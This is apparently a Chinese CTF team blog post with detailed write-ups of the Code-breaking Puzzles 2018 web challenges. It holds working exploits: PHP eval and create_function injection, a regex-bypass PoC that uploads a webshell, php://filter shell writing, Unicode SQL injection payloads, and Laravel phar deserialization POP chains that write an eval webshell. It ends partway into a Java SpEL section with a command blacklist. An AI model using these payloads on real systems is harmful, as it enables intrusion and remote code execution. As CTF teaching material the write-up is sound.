kn0ck's blog

一群CTF爱好者

Code-breaking Puzzles 2018 Note

z3r0yu

0x00前言

题目知识点概述:

  1. function PHP函数利用技巧
  2. pcrewaf PHP正则特性
  3. phpmagic PHP写文件技巧
  4. phplimit PHP代码执行限制绕过
  5. nodechr Javascript字符串特性
  6. javacon SPEL表达式沙盒绕过
  7. lumenserial 反序列化在7.2下的利用
  8. picklecode Python反序列化沙盒绕过
  9. thejs Javascript的原型污染漏洞

题目来源:Website | Github

PS: 比较早写的笔记,但是一直没时间补完(这笔记好像拖了快一年???),暂时不补充了;特点是详细,感觉新手也能看得懂

0x01 function

代码以及题目环境可以从Github上找到,一下不在赘述,只提及知识点,

1.解决正则问题

preg_match('/^[a-z0-9_]*$/isD', $action)$action中要出现数字字母下划线以外的字符。
可以直接使用burp对字符进行测试(但这个字符必须还是有用的)

PS:网上有的说在这里测试ASCII字符,其实就是有效字符的意思

至于为什么是 \

code-breaking puzzles第一题,function,为什么函数前面可以加一个%5c?
其实简单的不行,php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

就是\在php中表示默认的命名空间,比如写一些类的时候会在开头写

1
2
1. namespace think\db;
2. use think\Exception;

2.create_function->rce

使用create_function('', $_GET['code']);达到远程RCE的效果

具体可以看php的源码 Zend/zend_builtin_functions.c:1858

可见用户输入的参数是function_args、function_code,他们被拼接成一个完整的PHP函数:

function __lambda_func ( function_args ) { function_code } \0

这个函数代码会先放在zend_eval_stringl里执行,可以理解为eval。执行成功后,再于函数列表中找到lambda_func函数,将其重命名成lambda_%d,%d代表“这是本进程第几个匿名函数”。最后从函数列表里删除lambda_func。

由于代码就是简单的拼接,所以我们可以闭合括号,执行任意代码。比如:

  1. 如果可控在第一个参数,需要闭合圆括号和大括号:create_function(‘){}phpinfo();//‘, ‘’);
  2. 如果可控在第二个参数,需要闭合大括号:create_function(‘’, ‘}phpinfo();//‘);

PS:

  1. 扩展一下,类似的eval也是将其中的字符串与进行拼接
    "<?php ".$code."?>"
    从而可以传入图?>、<?php闭合前后的标签,让中间的代码块不会被当作php代码执行。

  2. 补充两个CTF常用的查看文件的函数

1
2
3
http://51.158.75.42:8087/?action=\create_function&arg=1;}print_r(scandir('../'));/*

http://51.158.75.42:8087/?action=\create_function&arg=1;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));/*

0x02 pcrewaf

关键在于正则匹配的绕过

1
2
3
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

首先要知道正则的匹配流程和引擎

DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

PHP采用的是NFA的正则引擎,具体的解析见 《PHP利用PCRE回溯次数限制绕过某些安全限制》

利用则是通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。

POC

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

or

1
2
with open("shell.txt", "w+") as f:
f.write("<?php print_r(scandir('../../../'));print_r(file_get_contents('../../../flag_php7_2_1s_c0rrect'));/*"+'A'*1000000)

也可以使用readfile函数来读取文件
此类型的修复方式是使用强等于的方式来判断匹配的结果

1
2
3
if (is_php($data) === 0){ 
write ...
}

PS: 这个题目在最初是存在一个非预期解的,当时的正则如下

1
2
3
function is_php($data){
return preg_match('/<\?.*[\(\`].*/is', $data);
}

这种形式是可以使用glob+file_get_contents来获取flag的,具体形式如下

1
2
chopper=var_dump(glob('../../../*'));
chopper=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));

glob()函数是获取与模式匹配的文件路径,找到文件后直接读取。
之后的正则修改为了现在的形式

1
2
3
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

0x03 phpmagic

关键在于文件写入的地方

1
2
3
4
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}

1.$_SERVER[‘SERVER_NAME’]

(1) 查看官方手册发现$_SERVER[‘SERVER_NAME’]是可以被我们控制的,只要修改数据包中host字段的值就好

(2) $log_name来自$_POST['log']因而也可控

2.解决扩展名过滤问题

1
!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)

使用如下payload可以绕过pathinfo对后缀名的检测,进而将内容正常写入filename.php文件中

1
filename=shell.php/.&content=<?php phpinfo();?>

3.解决htmlspecialchars过滤问题

htmlspecialchars函数会将’<’转为’<’,因而不能够直接写webshell。但是 phithon 曾在一篇文章中提到使用PHP伪协议+base64/rot13编码和解码过程处理掉exit–《谈一谈php://filter的妙用》

PS:

  1. base64必须是4的整数倍;
  2. 要注意base64中的=只能出现在最末尾,而我们插入的字符串是在中间的,所以我们插入的字符串里不能有=;
  3. PHP伪协议base64解码的trick:解码中遇到不符合规范的字符直接跳过。

PHP具有一个特点:一切传入filename的地方都可以使用php伪协议,比如:file_put_contents和readfile函数。在解析phar的时候曾提到过大量的此类函数。

4.寻找可控变量构造payload

可以看到$domain内容可控

构造可利用的base64字符串,最终的数据包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: php
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8082/
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Connection: close
Upgrade-Insecure-Requests: 1

domain=PD89YGNhdCAnLi4vLi4vLi4vZmxhZ19waHBtYWcxY191cjEnYDsvKioq&log=://filter/write=convert.base64-decode/resource=shell.php/.

此处对shell的构造有坑,晚上填一下

0x04 phplimit

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

题目限制:函数可以多层嵌套但是最后一个不能包含参数.

1.session_id

session_id用于设置和获取当前的会话id,也就是PHPSESSID的值,采用如下这种方式就可以获取当前的PHPSESSID的。

1
session_id(session_start())

至于编码问题可以使用hex2bin()函数来解决,hex2bin()并不是将16进制转换为2进制,而是将16进制字符串转换为2进制字符串,示例如下:

1
2
3
4
5
6
php > $t="7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b";
php > var_dump(hex2bin($t));
string(48) "print_r(file_get_contents('../flag_phpbyp4ss'));"
php > $tt="print_r(file_get_contents('../flag_phpbyp4ss'));";
php > var_dump(bin2hex($tt));
string(96) "7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b"

最终构造的数据包如下:

1
2
3
4
5
6
7
8
9
GET /?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Host: 127.0.0.1:8084
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b

2.get_defined_vars

下面看一个示例:

1
2
3
4
php > $b = "zeroyu";
php > $arr = get_defined_vars();
php > print_r($arr["b"]);
zeroyu

因为不能传入参数所以我们可以结合current()和next()函数来完成对变量的取值,最终构造payload如下:

1
/?code=eval(next(current(get_defined_vars())));&zeroyu=print_r(scandir('../'));print_r(file_get_contents('../flag_phpbyp4ss'));

此外还可以使用reset来将数组指针定位到第一个位置进而获取我们想要的变量,从而构造payload如下:

1
/?test=readfile("../flag_phpbyp4ss");//&code=eval(implode(reset(get_defined_vars())));

之前提到过牌glob函数,所以payload还可以这样写

1
/?code=eval(next(current(get_defined_vars())));&b=var_dump(glob(%27/var/www/*%27));print_r(file_get_contents('../flag_phpbyp4ss'));

3. getcwd

getcwd()函数是获取当前目录,所以通过切换目录读文件的方案也是可行的

1
/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

PS:附加几个小栗子

1
2
3
?cmd=print(readdir(opendir(getcwd()))); 可以列目录
?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件
?cmd=print(dirname(dirname(getcwd()))); print出/var/www

4.getallheaders

getallheaders()可以获取全部HTTP请求头信息,从而伪造HTTP头字段就可以达到RCE效果,但是这个函数是apache_request_headers函数的别名,只适用于apache环境对于本题目是没有作用的。

关于这个函数的使用,可以参考RCTF 2018的r-cursive题目。

1
2
GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: phpinfo(); //

PS:那道题目中还涉及到利用open_basedir进行沙盒逃逸

5.getenv

这个函数再PHP5.6版本下不能使用,但是在PHP7.1以及以上版本是可以在不加参数的情况下像get_defined_vars()一样获取服务段的env数据。

0x05 nodechr

此题目考察一些javascript的小特性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}

return undefined
}

async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])

let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

if (user) {
ctx.session.user = user

jump = ctx.router.url('admin')
}

}

ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}

从源码上看是很明显拼接直接注入,但是select和union被过滤。

1.toUpperCase()和toLowerCase()特性

因而利用JS的小特性进行绕过,具体参考《Fuzz中的javascript大小写特性》

Fuzz代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
if (!String.fromCodePoint) {
(function() {
var defineProperty = (function() {
// IE 8 only supports `Object.defineProperty` on DOM elements
try {
var object = {};
var $defineProperty = Object.defineProperty;
var result = $defineProperty(object, object, object) && $defineProperty;
} catch(error) {}
return result;
}());
var stringFromCharCode = String.fromCharCode;
var floor = Math.floor;
var fromCodePoint = function() {
var MAX_SIZE = 0x4000;
var codeUnits = [];
var highSurrogate;
var lowSurrogate;
var index = -1;
var length = arguments.length;
if (!length) {
return '';
}
var result = '';
while (++index < length) {
var codePoint = Number(arguments[index]);
if (
!isFinite(codePoint) || // `NaN`, `+Infinity`, or `-Infinity`
codePoint < 0 || // not a valid Unicode code point
codePoint > 0x10FFFF || // not a valid Unicode code point
floor(codePoint) != codePoint // not an integer
) {
throw RangeError('Invalid code point: ' + codePoint);
}
if (codePoint <= 0xFFFF) { // BMP code point
codeUnits.push(codePoint);
} else { // Astral code point; split in surrogate halves
// http://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
codePoint -= 0x10000;
highSurrogate = (codePoint >> 10) + 0xD800;
lowSurrogate = (codePoint % 0x400) + 0xDC00;
codeUnits.push(highSurrogate, lowSurrogate);
}
if (index + 1 == length || codeUnits.length > MAX_SIZE) {
result += stringFromCharCode.apply(null, codeUnits);
codeUnits.length = 0;
}
}
return result;
};
if (defineProperty) {
defineProperty(String, 'fromCodePoint', {
'value': fromCodePoint,
'configurable': true,
'writable': true
});
} else {
String.fromCodePoint = fromCodePoint;
}
}());
}
for (var j = 'A'.charCodeAt(); j <= 'Z'.charCodeAt(); j++){
var s = String.fromCodePoint(j);
for (var i = 0; i < 0x10FFFF; i++) {
var e = String.fromCodePoint(i);
if (s == e.toUpperCase() && s != e) {
document.write("char: "+e+"<br/>");
};
};
}

最终可以得出以下几点特性

1
2
3
"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
"K".toLowerCase() == 'k'

从而构造payload

1
username=test&password=%27+un%C4%B1on+%C5%BFelect+1,(%C5%BFelect+flag+from+flags),'3

我们可以看一下这个payload经过处理之后是怎样的

PS: 补充另外一个JS的小特性,这个特性在《Security Bugs in Practice: SSRF via Request Splitting》中被使用

340A0E5E-C178-423A-ACF1-6C8100E5E7E1.png

2.unicode大小写转换问题

在此处补充一下Python3的unicode大小写转换问题,造成这个问题的原因是

这里的特殊部分是转换行为。 并非所有Unicode字符在转换为大写字母时都具有匹配的表示形式 - 因此浏览器通常倾向于采用外观相似,最适合的映射ASCII字符。 这种行为有相当大范围的字符,所有浏览器的做法都有所不同。

1
2
3
"ı".upper() == 'I'
"ſ".upper() == 'S'
"K".lower() == 'k'

还有一些其其它的:

1
2
3
4
5
6
7
8
9
10
11
K ---- k
ß(223) ---- SS
ı(305) ---- I
ſ(383) ---- S
ff(64256) ---- FF
fi(64257) ---- FI
fl(64258) ---- FL
ffi(64259) ---- FFI
ffl(64260) ---- FFL
ſt(64261) ---- ST
st(64262) ---- ST

0x06 lumenserial

1. 环境配置

因为此题是基于laravel框架开发的,所以在本地要用 composer install 进行环境配置,方便后面的审计。

2. phpggc

这个题目是基于laravel框架开发的,phpggc中又恰好有4种关于Laravel框架RCE的payload生成方法,所以首先学习一下这四种payload的生成。

第一种

从上图代码我们可以分析出反序列化的时候,类方法调用过程如下,首先执行如下语句,假设此时$function$parameter参数分别对应systemid

1
new \Illuminate\Broadcasting\PendingBroadcast(new \Faker\Generator($function),$parameter);

接着跟进到\Illuminate\Broadcasting\PendingBroadcast类中看到如下信息

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

将之前的(new \Faker\Generator($function),$parameter)代入其实执行的就是

1
new \Faker\Generator($function)->dispatch($parameter);

可看到将Generator当做函数调用进行使用了,所以直接查看到其中的如下代码,此时__call的参数是dispatch和id

1
2
3
4
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

之后跟进format函数进行查看,发现使用到了call_user_func_array函数来进行处理。

1
2
3
4
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

继续跟进一下getFormatter函数,其中的参数是dispatch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

最终getFormatter函数将返回system

PS:__call是在不存在对应的函数调用时才使用的。

第二种

类似的进行分析,首先在反序列化时也是先进入

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

针对

1
new \Illuminate\Broadcasting\PendingBroadcast(new \Illuminate\Events\Dispatcher($function, $parameter),$parameter);

对应执行的就是

1
(new \Illuminate\Events\Dispatcher($function, $parameter)->dispatch($parameter)

要知道此时是有dispatch这个函数的,所以我们就继续跟进这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function dispatch($event, $payload = [], $halt = false)
{
[$event, $payload] = $this->parseEventAndPayload(
$event, $payload
);//将$event设置为数组返回

if ($this->shouldBroadcast($payload)) {
$this->broadcastEvent($payload[0]);
}

$responses = [];

foreach ($this->getListeners($event) as $listener) {
$response = $listener($event, $payload);
if ($halt && ! is_null($response)) {
return $response;
}
if ($response === false) {
break;
}

$responses[] = $response;
}
return $halt ? null : $responses;
}

此处只看$event变量的传递,所以继续跟入getListeners函数,可以看到我们传入的类名肯定是不存在的,因此这个函数必定返回$listeners变量的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
public function getListeners($eventName)
{
$listeners = $this->listeners[$eventName] ?? [];

$listeners = array_merge(
$listeners,
$this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
);

return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}

假设我们使用phpggc生成的payload如下

1
2
 zeroyu@zeros ~ ./phpggc Laravel/RCE2 system id
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"*listeners";a:1:{s:2:"id";a:1:{i:0;s:6:"system";}}}s:8:"*event";s:2:"id";}

那么最终dispatch函数中的$response = $listener($event, $payload);对应返回的就是$response=system('id',[]);此时$response将保存有命令执行后的结果。

第三种

由下面这句代码展开分析

1
return new \Illuminate\Broadcasting\PendingBroadcast(new \Illuminate\Notifications\ChannelManager($function, $parameter)

反序列化的时候首先还是到PendingBroadcast中调用__destruct

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

所这次的就相当于

1
new \Illuminate\Notifications\ChannelManager($function, $parameter)->dispatch($this->event);

要知道ChannelManager里面是没有dispatch函数的,所以就会调用__call函数

1
2
3
4
public function __call($method, $parameters)
{
return $this->driver()->$method(...$parameters);
}

$method(...$parameters);这部分并不重要,之后主要跟进driver函数

1
2
3
4
5
6
7
8
9
public function driver($driver = null)
{
$driver = $driver ?: $this->getDefaultDriver();
if (! isset($this->drivers[$driver])) {
$this->drivers[$driver] = $this->createDriver($driver);
}

return $this->drivers[$driver];
}

之前我们设置了如下几个变量,所以在此处getDefaultDriver();将返回x

1
2
3
$this->app = $parameter;
$this->customCreators = ['x' => $function];
$this->defaultChannel = 'x';

接下来会继续到createDriver函数的位置,之后跟进一下这个函数

1
2
3
4
protected function createDriver($driver)
{
if (isset($this->customCreators[$driver])) {
return $this->callCustomCreator($driver);

可以看到接下来继续进入callCustomCreator函数

1
2
3
4
protected function callCustomCreator($driver)
{
return $this->customCreators[$driver]($this->app);
}

也正是在此处返回了$function($parameter)的执行结果。

第四种

首先看一下这个chain的开始

1
new \Illuminate\Broadcasting\PendingBroadcast(new \Illuminate\Validation\Validator($function),$parameter);

可以看到,这链也是从PendingBroadcast__destruct开始的

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

所以此处对应的执行就是

1
new \Illuminate\Validation\Validator($function)->dispatch($parameter);

可以看到Validator类中也是没有dispatch函数的,因此调用的是__call函数

1
2
3
4
5
6
7
8
9
10
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));
// $rule=''
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}

throw new BadMethodCallException("Method [$method] does not exist.");
}

之后跟进callExtension函数,在其中的call_user_func_array处成功执行我们需要执行的函数。

1
2
3
4
5
6
7
8
9
10
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];
// 之前chain中写的是$this->extensions = ['' => $function];所以此处的$callback=$function
if (is_callable($callback)) {
return call_user_func_array($callback, $parameters);
} elseif (is_string($callback)) {
return $this->callClassBasedExtension($callback, $parameters);
}
}

这四种chain的分析可以参考《PHP反序列化入门之寻找POP链(一)》
PS:但是文中对第三种的分析存在一些问题,可以参考我的表述

小结

总结起来以上四种类型要么是利用调用dispatch来完成,要么是利用$this->events中的__call完成。

3. POP chain的构造

pop chain的构造一般都是从寻找__wakeup 或者 __destruct开始的
寻找思路:

  1. dispatch完成合适的函数调用

  2. 寻找合适的$this->events来使用其中的__call

    chain 1

  3. 入口点 cat/vendor/illuminate/broadcasting/PendingBroadcast.php __destruct()

  4. cat/vendor/fzaninotto/faker/src/Faker/ValidGenerator.php __call($name, $arguments)
    在这其中call_user_func_array函数的返回结果作为call_user_func函数的参数,$this->validator又是可控的,进而call_user_func函数的参数均是可控的。但是想用file_put_contents函数来写shell需要两个参数,所以call_user_func不能够直接使用,需要继续寻找一个call_user_func_array函数来用

  5. cat/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php invoke(Invocation $invocation)函数存在一个call_user_func_array函数,其中第一个参数可控,第二个参数需要Invocation对象

  6. cat/vendor/phpunit/phpunit/src/Framework/MockObject/Invocation/StaticInvocation.php 中找到对接口Invocation的实现

最终构造出的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
function __construct($events, $event){
$this->events = $events;
$this->event = $event;
}
}
};
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null){
$this->default = $default;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
// __call方法中有call_user_func_array、call_user_func
public function __construct($generator, $validator = null, $maxRetries = 10000)
{
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
};
namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback
{
private $callback;
public function __construct($callback)
{
$this->callback = $callback;
}
}
};
namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation{
private $parameters;
public function __construct($parameters){
$this->parameters = $parameters;
}
}
};
namespace{
$function = 'file_put_contents';
$parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
$staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
$returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
$defaultgenerator = new Faker\DefaultGenerator($staticinvocation);
$validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($validgenerator,123);
$o = $pendingbroadcast;
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
};
?>

poc执行过程分析

  1. 起始点

    1
    2
    $validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($validgenerator,123);
  2. 可以看到首先也是进入到了destruct(),将dispatch作为函数调用进行了使用,但是ValidGenerator类中没有这个函数,所以就调用call,参数为dsipatch和123。此处要注意到ValidGenerator的几个参数分别是$defaultgenerator,array($returncallback,'invoke'),2

    1
    2
    3
    $parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
    $staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
    $defaultgenerator = new Faker\DefaultGenerator($staticinvocation);

因此下面这句中的

1
$res = call_user_func_array(array($this->generator, $name), $arguments);

array($this->generator, $name)实际上就是执行了

1
new Faker\DefaultGenerator($staticinvocation)->dispatch

但是DefaultGenerator中也没有dispatch函数吗,因此就调用call函数来处理,他的call函数是直接将$staticinvocation的值进行返回

  1. new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters); 是一个实例化后的Invocation对象,并且它可以给出我们需要参数array,也就是$res = 这个对象
  2. 接下来回到$validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,’invoke’),2);继续看其中的call_user_func($this->validator, $res)这里的$this->validator其实就是array($returncallback,'invoke'),整体对应的含义如下
    1
    new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function)->invoke($res);

invoke的函数定义如下

1
2
3
4
public function invoke(Invocation $invocation)
{
return \call_user_func_array($this->callback, $invocation->getParameters());
}

可以看到$res变量所对应的对象在此处将取出我们需要的$parameters,而$this->callback就是我们之前设置的$function

chain 2

这个pop chain出自lemon师傅,只这条相较于上条答题相同但是比较绕,我在注释已经做了详细的解释。
参考:
《lumenserial–kingkk》
《lumenserial-l3m0n》

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}

namespace Faker{
class Generator{
protected $formatters;
function __construct($forma){
$this->formatters = $forma;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;

public function __construct($generator, $validator, $maxRetries = 10000){
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
}

namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation{
function __construct($parameters){
$this->parameters = $parameters;
}
}
}

namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback{
public function __construct($callback){
$this->callback = $callback;
}
}
}

# exp func call
namespace{
$function = "file_put_contents";
$parameters = ["/var/www/html/upload/z.php", base64_decode("PD9waHAgZXZhbCgkX0dFVFsnMTEnXSk7Pz4=")];

$exp_call_obj = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);

$exp_args_obj = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
$tmp_arr = ["gogogo" => $exp_args_obj];
$s4_obj = new Faker\Generator($tmp_arr);
// 第一次使用Generator来得到dispatch对应的内容
$get_func_arr = array("dispatch"=> array($s4_obj, "getFormatter"));
// 最终将会返回 array($s4_obj, "getFormatter")
$s3_obj = new Faker\Generator($get_func_arr);
// array($s4_obj, "getFormatter") 进入format()中的call_user_func_array
// 就可以返回我们gogogo所对应的$exp_args_obj
// 最终我们需要的$exp_args_obj将会返回给$res
// 之后$res再invoke()中可以通过$invocation->getParameters()将$parameters取出

// $s3_obj对应generator是我们需要控制的类,而这个类中有我们用来控制$res变量的函数
// array($exp_call_obj,"invoke")会在ValidGenerator中的call_user_func处调用invoke函数
$s2_obj = new Faker\ValidGenerator($s3_obj, array($exp_call_obj,"invoke"), 2);

$s1_obj = new Illuminate\Broadcasting\PendingBroadcast($s2_obj, "gogogo");
echo urlencode(serialize($s1_obj))."\n\r\n\r";

$p = new Phar('./z.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($s1_obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
}

小结

在此大致做个小结:

  1. 首先,此处禁用了用于执行系统命令的函数,所以不能rce只能想办法getshell,写shell就要用file_put_contents函数,此时就涉及两个参数,所以就必须找call_user_func_array这样的函数来进行调用。
  2. pop chain的构造对于框架而言是找到一个好的起始点,一般而言是找__wakeup__destruct,但是框架的起始点和构造思想可以参考phpggc。对与laravel框架而言,就是看使用dispatch还是使用__call(选择的依据就是这两者中会不会涉及到call_user_func_array)。

补充

在做此题目的时候之所以会想到是反序列漏洞是看如下信息:

  1. 首先看框架的路由

    1
    2
    $router->get('/server/editor', 'EditorController@main');
    $router->post('/server/editor', 'EditorController@main');
  2. 其次根据路由看Controller,并在Controller中寻找敏感点,比如此处的download

    1
    2
    3
    4
    5
    private function download($url)
    {
    ......
    $content = file_get_contents($url);
    ......
  3. 查看url参数是否可控,是否过滤,那么就查看一下这个函数的调用点

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    protected function doCatchimage(Request $request)
    {
    $sources = $request->input($this->config['catcherFieldName']);
    $rets = [];

    if ($sources) {
    foreach ($sources as $url) {
    $rets[] = $this->download($url);
    }
    }
  4. 继续跟进config['catcherFieldName']

    1
    "catcherFieldName": "source", /* 提交的图片列表表单名称 */
  5. 可以看到路径上无过滤,因此参数可控,可以在这个点使用phar来getshell,进而就有了上面的pop chain构造

  6. getshell

    1
    http://127.0.0.1:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/78ed78f65afaa8137864b4839f2076a8/201904/14/9a032ef2cab676e1f622.gif

其它pop chain参考 《lumenserial–evil》

0x07 javacon

1. 环境配置

使用idea打开这个项目,之后右键jar包选择Add as Library,之后就可以分析其中的源代码了。

配置进行远程调试

1
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

命令启动

1
java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar challenge-0.0.1-SNAPSHOT.jar

之后点击DEBUG开始调试

2. 漏洞相关知识点

2.1 EL表达式

2.2 SpEL表达式注入

参考:《由浅入深SpEL表达式注入漏洞》

2.3 反射

参考:《深入理解Java反射中的invoke方法》

3. 漏洞调试分析

可以看出是基于Spring框架编写的代码,所以首先查看其配置文件application.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
spring:
thymeleaf:
encoding: UTF-8
cache: false
mode: HTML
keywords:
blacklist:
- java.+lang
- Runtime
- exec.*\(
user:
username: admin
password: admin
rememberMeKey: c0dehack1nghere1

可以看到用户的配置文件中写了一个黑名单和一个用户信息

